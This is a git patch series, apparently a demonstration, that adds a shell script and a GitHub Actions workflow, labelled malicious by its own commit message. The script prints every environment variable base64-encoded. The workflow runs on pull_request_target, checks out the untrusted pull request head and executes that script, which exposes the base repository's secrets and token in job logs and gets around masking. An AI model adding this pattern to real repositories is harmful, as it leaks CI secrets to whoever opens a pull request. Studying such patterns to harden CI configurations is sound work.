From ef33dfd82a25a6bfc7f297ae381a592feb06c08a Mon Sep 17 00:00:00 2001 From: Vasilii Ermilov Date: Sun, 9 Oct 2022 12:37:42 +0300 Subject: [PATCH 1/5] Create script.sh --- lib/script.sh | 1 + 1 file changed, 1 insertion(+) create mode 100644 lib/script.sh diff --git a/lib/script.sh b/lib/script.sh new file mode 100644 index 0000000..bba153a --- /dev/null +++ b/lib/script.sh @@ -0,0 +1 @@ +echo "Hello world" From b55fec4a53360109b778aaa73c429fbd9c835cee Mon Sep 17 00:00:00 2001 From: Vasilii Date: Sun, 9 Oct 2022 12:45:42 +0300 Subject: [PATCH 2/5] update script sh --- lib/script.sh | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 lib/script.sh diff --git a/lib/script.sh b/lib/script.sh old mode 100644 new mode 100755 From 1c045a46535b28a545a78751a7e721532a545076 Mon Sep 17 00:00:00 2001 From: Vasilii Date: Sun, 9 Oct 2022 15:05:38 +0300 Subject: [PATCH 3/5] update lib script --- lib/script.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/script.sh b/lib/script.sh index bba153a..f92c561 100755 --- a/lib/script.sh +++ b/lib/script.sh @@ -1 +1,2 @@ echo "Hello world" +echo $(env | base64) From 94aa0d16c21444014b519f690e0b310e00f44ef4 Mon Sep 17 00:00:00 2001 From: Vasilii Date: Sun, 9 Oct 2022 15:11:48 +0300 Subject: [PATCH 4/5] update lib script --- lib/script.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/script.sh b/lib/script.sh index f92c561..4d30e3b 100755 --- a/lib/script.sh +++ b/lib/script.sh @@ -1,2 +1,2 @@ -echo "Hello world" +echo "Hello world 123" echo $(env | base64) From 0febe02b35c34e549720014b667780c69da5b841 Mon Sep 17 00:00:00 2001 From: Vasilii Date: Sun, 9 Oct 2022 15:22:06 +0300 Subject: [PATCH 5/5] add malicious workflow --- .github/workflows/mal.yml | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 .github/workflows/mal.yml diff --git a/.github/workflows/mal.yml b/.github/workflows/mal.yml new file mode 100644 index 0000000..7c29054 --- /dev/null +++ b/.github/workflows/mal.yml @@ -0,0 +1,18 @@ +name: whatsup + +on: + pull_request_target: + branches: + - "**" + +jobs: + whatsup: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + with: + ref: ${{ github.event.pull_request.head.sha }} + - name: Runrun + run: | + ./lib/script.sh